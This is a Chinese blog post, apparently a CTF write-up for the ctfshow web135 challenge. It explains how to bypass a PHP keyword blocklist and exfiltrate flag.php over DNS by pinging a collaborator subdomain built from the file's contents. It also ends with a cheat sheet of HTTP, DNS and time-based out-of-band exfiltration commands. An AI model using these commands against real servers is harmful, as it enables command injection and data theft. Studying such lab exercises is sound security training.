news 2026/4/23 10:01:43

ctfshow-web135

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ctfshow-web135

PS:萌新ctfer的解题过程,如有错误之处恳请师傅们指正

(本题为web133的进阶版,基本过程可见ctfshow-web133)

一:增强过滤

打开靶场,可以看到正则里又过滤了好多东西:

error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }

其中,这里就有我们之前用的curl,说明这里HTTP 外带(主动把文件内容 POST 到外部服务器)不适用,那么我们就可以换成DNS 外带(把数据拼接到域名里,通过 DNS 解析请求把数据发送出去)。这种方式的最大优势是绕开很多环境限制(比如没有curl/wget、服务器禁止出站 HTTP 请求,但 DNS 请求通常不会被禁)。

二:具体构造

还是一样,先给出我们的payload:

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.a8jyvpll7rtaqerbtw8l8qp38uel2cq1.oastify.com

1.总体结构

最开始的?F=`$F`;就是我们上传的F参数,后面的所有都是F里面的内容。

+号是 URL 中空格的编码形式,其中更为常见的是%20,URL中空格是不允许直接出现的,所以这里就用+来表示一下;而ping是Linux 的网络测试命令,在这里的核心作用是触发 DNS 请求:

  • 当执行ping xxx.oastify.com时,操作系统会先向 DNS 服务器发送请求,查询xxx.oastify.com的 IP 地址(这就是 DNS 解析)。
  • xxx正是我们从flag.php中提取的 flag 内容,这样 DNS 服务器就会记录下这个包含 flag 的域名请求,我们就能在 oastify 平台上看到 flag 了。

后面的就是提取flag的核心命令了

2.核心命令

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.coma8jyvpll7rtaqerbtw8l8qp38uel2cq1.oastify.com

1.nl flag.php:给文件的每一行添加行号

  • nl:是number lines的缩写,中文叫 “行号打印命令”,作用是读取文件内容,给每一行加上行号 + 空格后输出。
  • 为什么用nl:因为 CTF 中flag.php里的 flag 通常在某一行固定位置(比如第 15 行),加行号后才能用后续命令精准定位行号。

(注意这里的flag的行数是要自己一一试出来的,可以在BP里的Reapeater更改)

2.awk 'NR==15':只提取第 15 行的内容

  • awk:是 Linux 中处理文本的核心工具,能按行、按列解析文本内容,功能非常强大
  • NR:是awk的内置变量,代表当前处理的行号(Number of Record)。
  • NR==15:是awk的条件判断,意思是 “只处理行号等于 15 的那一行,其他行都忽略”

3.tr -cd 'a-zA-Z0-9-':过滤掉非指定的字符

  • tr:是translate的缩写,中文叫 “字符转换 / 过滤命令”,主要用来替换、删除文本中的字符
  • -c:全称--complement,意思是 “取反”,即匹配不在指定字符集中的字符
  • -d:全称--delete,意思是 “删除”,即删除匹配到的字符。
  • 'a-zA-Z0-9-':指定的字符集,包括:
    • -:短横线(DNS 域名允许包含短横线)
    • 0-9:数字
    • A-Z:大写字母
    • a-z:小写字母
  • 组合起来的意思:删除所有不在a-zA-Z0-9-范围内的字符,只保留这个范围内的字符

4.域名

最后的域名是DNS 数据收集平台分配的专属子域名,由 “唯一随机前缀 + 平台主域名” 组成。

这个域名的核心作用是作为 DNS 请求的目标,让平台记录包含 flag 内容的域名请求

三:获取flag

我们先将我们的payload直接在hackbar里输入,这样后面转到BP里空格和反引号会自动转码,避免兼容性问题。【开代理之后直接execute即可】:

然后我们发送到repeater模块,直接send:

然后我们就可以在collaborator模块里看到部分flag内容:

(这里没有大括号是因为我们把除了数字和字母以外的字符都去掉了,但是不知道为什么字母有大写有小写的,希望知道的师傅能帮我解惑)

注意这里我们找到的只是部分flag【提取的是第15行的内容】,因此后面NR还要改成16,得到第二部分flag如下:

我们将flag进行拼接就可以了,但是总不可能说我将大写字母一个一个都改成小写字母吧,那样还是太吃操作了,所以这时候编程就有大用处了,写一个简单的python转换大小写字母就可以了:

string.lower()就是将大写字母转成小写字母,最后再加上我们的大括号,得到最终flag就可以了。


四:其他方法

看来其他师傅的wp,说也能用cp 和mv来绕过过滤:

?F=`$F`; cp flag.php 2.txt

后面再改成2.txt读取一下就行了:

然后我想着web133是不是也可以用这个方法去做,然后去试了一下,发现没用,可能是文件权限问题或者文件访问限制等,总之也算是拓展一下视野吧。

还有一个是大菜鸡师傅用的是DNSlog,看视频里构造的payload是这样的:

?F=`$F`;ping `nl flag.php|awk 'NR==15'|tr -cd 'a-z0-9-'`.2mseu1.dnslog.cn -c 1

-cping命令的一个核心参数,全称是count(计数),作用是指定ping命令发送的数据包数量

  • ping -c 1 域名/IP:表示只给目标域名 / IP发送 1 个 ping 数据包,发送完成后,ping命令就会立即终止。
  • 如果不加-c参数,在 Linux 系统中,ping命令会一直持续发送数据包(直到按Ctrl+C手动终止)

但是不知道为什么我做不出来,

一直没有显示,希望有知道的师傅能解惑(大菜鸡师傅说网站有问题)

五:结语

通过这道题我们了解了DNS外带:

  • 将处理后的字符串作为子域名
  • 通过ping触发DNS解析请求
  • 在DNS日志平台查看请求记录获取flag

以及通过尝试行号找到flag在哪里,最后则是不同环境下对权限的限制【还是BurpSuite好用】

面对无回显(Blind)漏洞,获取数据的核心思路是:想尽办法让目标服务器主动“告诉”我们。

战术总结

1. 首选:HTTP带外(OOB-HTTP)

· 条件:目标服务器能出网,且有curl、wget等工具。

· 方法:用curl -X POST -F file=@/flag http://your-server将文件内容POST到你的监听服务器。

· 工具:Burp Collaborator、nc监听、公网VPS。

2. 次选:DNS带外(OOB-DNS)

· 条件:HTTP被禁,但DNS解析通常被放过。

· 方法:将数据作为子域名的一部分,通过ping或nslookup触发DNS查询。

· 工具:Burp Collaborator、DNSLog.cn。

3. 备选:时间盲注(Time-Based)

· 条件:完全不出网。

· 方法:通过命令执行的延时(sleep 5)来逐位推断数据,极其缓慢。

选择原则:优先尝试DNS,因为它限制最少;如果不成功,再尝试HTTP。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 9:56:31

LobeChat产品描述自动化撰写流程

LobeChat:构建可扩展、私有化AI聊天应用的技术实践 在大语言模型(LLM)席卷全球的今天,我们早已不再满足于“问一个问题,等一段回复”的简单交互。真正的挑战在于——如何将这些强大的模型安全、可控、灵活地嵌入到我们…

作者头像 李华
网站建设 2026/4/23 4:45:19

LobeChat能否用于编写Python脚本?编程辅助能力评测

LobeChat能否用于编写Python脚本?编程辅助能力评测 在开发者圈子里,一个越来越常见的场景是:面对一堆杂乱的日志文件,需要快速写个脚本来提取关键信息。过去可能得翻文档、查语法、调试半天;而现在,越来越多…

作者头像 李华
网站建设 2026/4/18 13:55:46

LobeChat能否用于生成品牌Slogan?市场营销创意激发

LobeChat 能否用于生成品牌 Slogan?——当 AI 成为创意合伙人 在今天的市场营销战场上,一个响亮、抓人、有记忆点的品牌口号,往往能在消费者心智中撕开一道口子。从耐克的“Just Do It”到苹果的“Think Different”,这些短短几个…

作者头像 李华
网站建设 2026/4/18 22:25:27

LobeChat能否对接微信/飞书/钉钉?多端同步可行性探讨

LobeChat能否对接微信/飞书/钉钉?多端同步可行性探讨 在企业智能化办公浪潮席卷的今天,AI助手早已不再是“锦上添花”的玩具,而是真正嵌入工作流、提升响应效率的核心组件。无论是技术团队想为客服系统接入大模型能力,还是HR希望搭…

作者头像 李华
网站建设 2026/4/15 4:40:52

LobeChat Webhook事件推送机制详解

LobeChat Webhook事件推送机制详解 在现代AI应用开发中,一个常见的挑战是:如何让聊天机器人不只是“能说会道”,而是真正融入业务流程?比如用户在对话中提到“订单没发货”,系统能否自动创建工单?或者当AI完…

作者头像 李华
网站建设 2026/4/17 16:10:15

文件上传+多模态处理:LobeChat如何玩转文档理解

文件上传与多模态处理:LobeChat 如何实现文档智能对话 在今天的 AI 应用场景中,用户早已不满足于“你问我答”的纯文本聊天。他们更希望直接上传一份 PDF 报告、一张产品说明书,甚至是一张手写笔记的照片,然后问:“这份…

作者头像 李华